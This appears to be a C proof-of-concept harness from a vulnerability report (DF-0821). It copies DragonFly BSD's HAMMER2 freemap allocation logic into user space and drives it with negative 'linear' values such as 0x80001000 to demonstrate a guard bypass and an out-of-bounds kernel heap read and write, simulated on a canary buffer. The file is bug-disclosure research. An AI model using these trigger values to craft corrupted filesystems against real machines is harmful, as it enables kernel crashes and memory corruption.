DF-0821 / harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 | /* * DF-0821 deterministic harness. * * Transcribes the linear-iterator guard + array-index logic from * hammer2_bmap_alloc() (sys/vfs/hammer2/hammer2_freemap.c:616-803) VERBATIM, * then drives it with a poisoned bmap->linear value (0x80001000, int32 * -2147479552) to demonstrate the OOB extent that the KKASSERT at :631-633 * masks on INVARIANTS-ON (default X86_64_GENERIC) kernels. * * On the default GENERIC kernel the KKASSERT panics before the OOB; this * harness removes the KKASSERT (simulating INVARIANTS-OFF / production) and * shows: * - the 3 linear-iterator guards at :616-619 ALL PASS for the negative value * - the resulting array index `i` is NEGATIVE (-4095 for linear=0x80001000) * - bmap->bitmapq[i] reads/writes 32760 bytes BEFORE bitmapq[0] (OOB) * * The harness uses a "poisoned allocator": bitmapq[] is embedded in a struct * preceded by a poison canary, so the OOB read into the negative index is * visibly reading the canary (proving the out-of-bounds extent). * * Build: cc -O2 -o harness harness.c * Run: ./harness */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> /* --- hammer2 constants (sys/vfs/hammer2/hammer2_disk.h) -------------------- */ #define HAMMER2_FREEMAP_LEVEL0_RADIX 22 #define HAMMER2_SEGSIZE (1 << HAMMER2_FREEMAP_LEVEL0_RADIX) /* 4MB */ #define HAMMER2_FREEMAP_BLOCK_RADIX 14 #define HAMMER2_FREEMAP_BLOCK_SIZE (1 << HAMMER2_FREEMAP_BLOCK_RADIX) /* 16KB */ #define HAMMER2_FREEMAP_BLOCK_MASK (HAMMER2_FREEMAP_BLOCK_SIZE - 1) /* 0x3FFF */ #define HAMMER2_BMAP_ELEMENTS 8 #define HAMMER2_ALLOC_MIN 1024 #define HAMMER2_BMAP_BITS_PER_ELEMENT 64 typedef uint64_t hammer2_bitmap_t; /* --- struct hammer2_bmap_data (hammer2_disk.h:871-885) --------------------- */ struct hammer2_bmap_data { int32_t linear; /* 00 */ uint16_t class; /* 04 */ uint8_t reserved06, reserved07; /* 06-07 */ uint32_t reserved08, reserved0C, reserved10, reserved14, reserved18; uint32_t avail; /* 1C */ uint32_t reserved20[8]; /* 20-3F */ hammer2_bitmap_t bitmapq[HAMMER2_BMAP_ELEMENTS]; /* 40-7F */ } __attribute__((packed)); /* Poisoned allocator: place the bmap inside a larger buffer with a known * canary BEFORE the bitmapq[] array. An in-bounds access sees zeros (the * bmap is zero-initialized except for the fields we set); an OOB access into * a negative bitmapq[] index reads the canary bytes, proving the extent. */ #define CANARY_BYTES 65536 static unsigned char POISON[CANARY_BYTES]; static void test_linear(int32_t linear_in, int radix) { /* Simulate the layout: bmap struct placed at the END of the poison buffer * so that bitmapq[0] is near the end, and negative indices reach back * into the poison canary. */ struct hammer2_bmap_data *bmap; size_t size = (size_t)1 << radix; int bmradix, i, j; int g1, g2, g3, guard_pass; hammer2_bitmap_t bmmask; int offset; hammer2_bitmap_t oob_read_val; long oob_byte_offset; /* Place bmap so bitmapq[0] is at POISON + CANARY_BYTES - sizeof(bitmapq). * Then bitmapq[-1] reaches back into the poison canary region. */ bmap = (struct hammer2_bmap_data *)(POISON + CANARY_BYTES - sizeof(*bmap)); memset(bmap, 0, sizeof(*bmap)); bmap->linear = linear_in; bmap->avail = HAMMER2_SEGSIZE; /* mark available */ bmap->class = 0; /* matches any allocation class */ /* bmradix: 2 bits per block for radix <= FREEMAP_BLOCK_RADIX */ if (radix <= HAMMER2_FREEMAP_BLOCK_RADIX) { bmradix = 2; } else { bmradix = 2 << (radix - HAMMER2_FREEMAP_BLOCK_RADIX); } /* === VERBATIM guard from hammer2_freemap.c:616-619 === */ g1 = (((uint32_t)bmap->linear & HAMMER2_FREEMAP_BLOCK_MASK) + size <= HAMMER2_FREEMAP_BLOCK_SIZE); g2 = ((bmap->linear & HAMMER2_FREEMAP_BLOCK_MASK) != 0); g3 = (bmap->linear < HAMMER2_SEGSIZE); guard_pass = (g1 && g2 && g3); printf("linear=%#010x (int32=%d) size=%zu bmradix=%d\n", (unsigned)bmap->linear, bmap->linear, size, bmradix); printf(" guard1 ((uint32)linear & MASK) + size <= BLOCK_SIZE : %s " "(0x%x + %zu = %zu <= %d)\n", g1 ? "PASS" : "fail", (unsigned)((uint32_t)bmap->linear & HAMMER2_FREEMAP_BLOCK_MASK), size, (size_t)((uint32_t)bmap->linear & HAMMER2_FREEMAP_BLOCK_MASK) + size, HAMMER2_FREEMAP_BLOCK_SIZE); printf(" guard2 (linear & MASK) nonzero : %s (0x%x)\n", g2 ? "PASS" : "fail", (unsigned)(bmap->linear & HAMMER2_FREEMAP_BLOCK_MASK)); printf(" guard3 (int32 linear < SEGSIZE) : %s (%d < %d)\n", g3 ? "PASS" : "fail", bmap->linear, HAMMER2_SEGSIZE); printf(" => linear-iterator path TAKEN: %s\n", guard_pass ? "YES (BUG)" : "no (bitmap scan)"); if (!guard_pass) { printf("\n"); return; } /* === VERBATIM KKASSERT from :631-633 (DISABLED here to simulate noinv) === */ /* On GENERIC (INVARIANTS ON) this panics right here. We skip it to show * the OOB that follows on a production / noinv kernel. */ /* KKASSERT(bmap->linear >= 0 && bmap->linear + size <= HAMMER2_SEGSIZE * && (bmap->linear & (HAMMER2_ALLOC_MIN - 1)) == 0); */ if (!(bmap->linear >= 0)) { printf(" [GENERIC] KKASSERT(bmap->linear >= 0) would PANIC here (line 631-633)\n"); printf(" [noinv] KKASSERT compiled out; continuing to OOB array index...\n"); } /* === VERBATIM index computation from :634-636 === */ offset = bmap->linear; i = offset / (HAMMER2_SEGSIZE / HAMMER2_BMAP_ELEMENTS); j = (offset / (HAMMER2_FREEMAP_BLOCK_SIZE / 2)) & 62; printf(" offset = linear = %d\n", offset); printf(" i = offset / %d = %d (SEGSIZE/BMAP_ELEMENTS)\n", HAMMER2_SEGSIZE / HAMMER2_BMAP_ELEMENTS, i); printf(" j = (offset / %d) & 62 = %d\n", HAMMER2_FREEMAP_BLOCK_SIZE / 2, j); if (i < 0 || i >= HAMMER2_BMAP_ELEMENTS) { long elem_bytes = (long)i * (long)sizeof(hammer2_bitmap_t); printf(" *** OOB ARRAY INDEX: bitmapq[%d] is %ld bytes %s bitmapq[0] ***\n", i, elem_bytes < 0 ? -elem_bytes : elem_bytes, elem_bytes < 0 ? "BEFORE" : "AFTER"); /* Demonstrate the OOB read at :727 (test) and OOB write at :803 (set). * In the real kernel this reads/writes adjacent kernel heap. Here we * show the read would reach into the poison canary. */ printf(" [noinv] simulating OOB READ at :727 (bmap->bitmapq[i] & bmmask == 0):\n"); /* In the real kernel, bmmask has been computed; for radix<=BLOCK it is * (1<<bmradix)-1 = 3, shifted left by j. */ bmmask = ((hammer2_bitmap_t)1 << bmradix) - 1; bmmask <<= j; oob_read_val = bmap->bitmapq[i]; /* THE OOB READ */ oob_byte_offset = (long)((unsigned char *)&bmap->bitmapq[i] - (unsigned char *)&bmap->bitmapq[0]); printf(" bitmapq[%d] @ bitmapq[0] + %ld bytes = 0x%016llx\n", i, oob_byte_offset, (unsigned long long)oob_read_val); printf(" bmmask = 0x%016llx\n", (unsigned long long)bmmask); printf(" (bitmapq[i] & bmmask) == 0 -> %s\n", (oob_read_val & bmmask) == 0 ? "TRUE (test passes, falls through)" : "FALSE"); printf(" [noinv] simulating OOB WRITE at :803 (bmap->bitmapq[i] |= bmmask):\n"); bmap->bitmapq[i] |= bmmask; /* THE OOB WRITE */ printf(" wrote 0x%016llx into bitmapq[%d] @ bitmapq[0] + %ld bytes\n", (unsigned long long)bmmask, i, oob_byte_offset); /* Confirm the canary was modified (proving the OOB reached outside bitmapq). */ if (oob_byte_offset < 0) { /* find first non-zero byte in the canary region before bitmapq[0] */ unsigned char *start = (unsigned char *)&bmap->bitmapq[0] + oob_byte_offset; int hit = 0; for (long k = 0; k < (long)sizeof(hammer2_bitmap_t); k++) { if (start[k] != 0) { hit = 1; break; } } printf(" canary region BEFORE bitmapq[0] modified: %s\n", hit ? "YES (OOB write confirmed)" : "no"); } } printf("\n"); } int main(void) { /* Fill the poison buffer with a recognizable canary so OOB reads are visible */ memset(POISON, 0xCD, sizeof(POISON)); printf("=== DF-0821 harness: hammer2_freemap.c:616-803 linear-iterator OOB ===\n\n"); printf("--- [1] Control: normal positive linear (8192 = 0x2000), radix=10 (1KB) ---\n"); test_linear(0x2000, 10); printf("--- [2] Control: block-aligned linear (16384 = 0x4000), radix=14 (16KB) ---\n"); /* Note: linear & MASK == 0 here, so guard2 fails -> bitmap scan path */ test_linear(0x4000, 14); printf("--- [3] BUG: negative linear 0x80001000 (int32 -2147479552), radix=10 ---\n"); printf(" This is the DF-0821 trigger: passes all 3 guards, OOB index i=-4095.\n"); test_linear((int32_t)0x80001000, 10); printf("--- [4] BUG variant: negative linear 0xFFFF2000 (int32 -57344), radix=10 ---\n"); printf(" Different negative -> different OOB offset (smaller).\n"); test_linear((int32_t)0xFFFF2000, 10); printf("=== Impact summary ===\n"); printf("On default GENERIC (INVARIANTS ON): KKASSERT at :631 panics -> DoS.\n"); printf("On INVARIANTS-OFF / production: OOB read at :727/:749/:785, OOB write at :803.\n"); printf("For linear=0x80001000: OOB extent is %ld bytes BEFORE bitmapq[0] in kernel heap.\n", (long)-((long)((int32_t)0x80001000 / (HAMMER2_SEGSIZE / HAMMER2_BMAP_ELEMENTS)) * (long)sizeof(hammer2_bitmap_t))); return 0; } |